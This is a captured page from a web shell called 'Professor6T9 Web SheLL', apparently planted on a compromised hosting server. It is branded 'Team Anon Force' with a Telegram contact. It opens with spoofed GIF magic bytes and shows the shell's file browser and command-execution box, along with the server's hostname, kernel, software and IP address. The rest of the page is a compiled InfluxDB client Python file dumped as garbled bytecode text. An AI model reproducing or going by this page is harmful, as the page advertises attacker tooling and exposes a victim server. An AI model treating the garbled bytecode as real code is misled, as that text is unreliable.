GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux das102.truehost.cloud 4.18.0-553.8.1.lve.el8.x86_64 #1 SMP Thu Jul 4 16:24:39 UTC 2024 x86_64
LiteSpeed
156.232.88.2
/
opt
/
alt
/
python38
/
lib
/
python3.8
/
site-packages
/
influxdb_client
/
domain
/
__pycache__
[ HOME ]
Exec
Submit
File Name : dialect.cpython-38.pyc
U ܒi=$ � @ s( d Z ddlZddlZG dd� de�ZdS )a InfluxDB OSS API Service. The InfluxDB v2 API provides a programmatic interface for all interactions with InfluxDB. Access the InfluxDB API using the `/api/v2/` endpoint. # noqa: E501 OpenAPI spec version: 2.0.0 Generated by: https://openapi-generator.tech � Nc @ s� e Zd ZdZdddddd�Zdddd d d�Zd+dd�Zedd� �Zej dd� �Zedd� �Z e j dd� �Z edd� �Zej dd� �Zedd� �Zej dd� �Zedd� �Z e j d d� �Z d!d"� Zd#d$� Zd%d&� Zd'd(� Zd)d*� Zd S ),�Dialectz�NOTE: This class is auto generated by OpenAPI Generator. Ref: https://openapi-generator.tech Do not edit the class manually. �bool�strz list[str])�header� delimiter�annotations�comment_prefix�date_time_formatr r r Z commentPrefixZdateTimeFormatT�,N�#�RFC3339c C sn d| _ d| _d| _d| _d| _d| _|dk r2|| _|dk r@|| _|dk rN|| _|dk r\|| _ |dk rj|| _ dS )z%Dialect - a model defined in OpenAPI.N)�_header� _delimiter�_annotations�_comment_prefix�_date_time_formatZ discriminatorr r r r r )�selfr r r r r � r �O/opt/alt/python38/lib/python3.8/site-packages/influxdb_client/domain/dialect.py�__init__0 s zDialect.__init__c C s | j S )z�Get the header of this Dialect. If true, the results contain a header row. :return: The header of this Dialect. :rtype: bool �r �r r r r r D s zDialect.headerc C s || _ dS )z�Set the header of this Dialect. If true, the results contain a header row. :param header: The header of this Dialect. :type: bool Nr )r r r r r r O s c C s | j S )z�Get the delimiter of this Dialect. The separator used between cells. Default is a comma (`,`). :return: The delimiter of this Dialect. :rtype: str )r r r r r r Z s zDialect.delimiterc C sB |dk rt |�dkrtd��|dk r8t |�dk r8td��|| _dS )z�Set the delimiter of this Dialect. The separator used between cells. Default is a comma (`,`). :param delimiter: The delimiter of this Dialect. :type: str N� zGInvalid value for `delimiter`, length must be less than or equal to `1`zJInvalid value for `delimiter`, length must be greater than or equal to `1`)�len� ValueErrorr )r r r r r r e s c C s | j S )ae Get the annotations of this Dialect. Annotation rows to include in the results. An _annotation_ is metadata associated with an object (column) in the data model. #### Related guides - See [Annotated CSV annotations](https://docs.influxdata.com/influxdb/latest/reference/syntax/annotated-csv/#annotations) for examples and more information. For more information about **annotations** in tabular data, see [W3 metadata vocabulary for tabular data](https://www.w3.org/TR/2015/REC-tabular-data-model-20151217/#columns). :return: The annotations of this Dialect. :rtype: list[str] )r r r r r r t s zDialect.annotationsc C sZ dddg}t |��t |��sPtd�d�ttt |�t |� ��d�tt|�����|| _dS )ao Set the annotations of this Dialect. Annotation rows to include in the results. An _annotation_ is metadata associated with an object (column) in the data model. #### Related guides - See [Annotated CSV annotations](https://docs.influxdata.com/influxdb/latest/reference/syntax/annotated-csv/#annotations) for examples and more information. For more information about **annotations** in tabular data, see [W3 metadata vocabulary for tabular data](https://www.w3.org/TR/2015/REC-tabular-data-model-20151217/#columns). :param annotations: The annotations of this Dialect. :type: list[str] �group�datatype�defaultzAInvalid values for `annotations` [{0}], must be a subset of [{1}]z, N)�set�issubsetr �format�join�mapr r )r r Zallowed_valuesr r r r s ��c C s | j S )z�Get the comment_prefix of this Dialect. The character prefixed to comment strings. Default is a number sign (`#`). :return: The comment_prefix of this Dialect. :rtype: str )r r r r r r � s zDialect.comment_prefixc C sB |dk rt |�dkrtd��|dk r8t |�dk r8td��|| _dS )z�Set the comment_prefix of this Dialect. The character prefixed to comment strings. Default is a number sign (`#`). :param comment_prefix: The comment_prefix of this Dialect. :type: str Nr zLInvalid value for `comment_prefix`, length must be less than or equal to `1`r zOInvalid value for `comment_prefix`, length must be greater than or equal to `0`)r r r )r r r r r r � s c C s | j S )aU Get the date_time_format of this Dialect. The format for timestamps in results. Default is [`RFC3339` date/time format](https://docs.influxdata.com/influxdb/latest/reference/glossary/#rfc3339-timestamp). To include nanoseconds in timestamps, use `RFC3339Nano`. #### Example formatted date/time values | Format | Value | |:------------|:----------------------------| | `RFC3339` | `"2006-01-02T15:04:05Z07:00"` | | `RFC3339Nano` | `"2006-01-02T15:04:05.999999999Z07:00"` | :return: The date_time_format of this Dialect. :rtype: str �r r r r r r � s zDialect.date_time_formatc C s || _ dS )ad Set the date_time_format of this Dialect. The format for timestamps in results. Default is [`RFC3339` date/time format](https://docs.influxdata.com/influxdb/latest/reference/glossary/#rfc3339-timestamp). To include nanoseconds in timestamps, use `RFC3339Nano`. #### Example formatted date/time values | Format | Value | |:------------|:----------------------------| | `RFC3339` | `"2006-01-02T15:04:05Z07:00"` | | `RFC3339Nano` | `"2006-01-02T15:04:05.999999999Z07:00"` | :param date_time_format: The date_time_format of this Dialect. :type: str Nr# )r r r r r r � s c C s� i }| j �� D ]z\}}t| |�}t|t�rBttdd� |��||<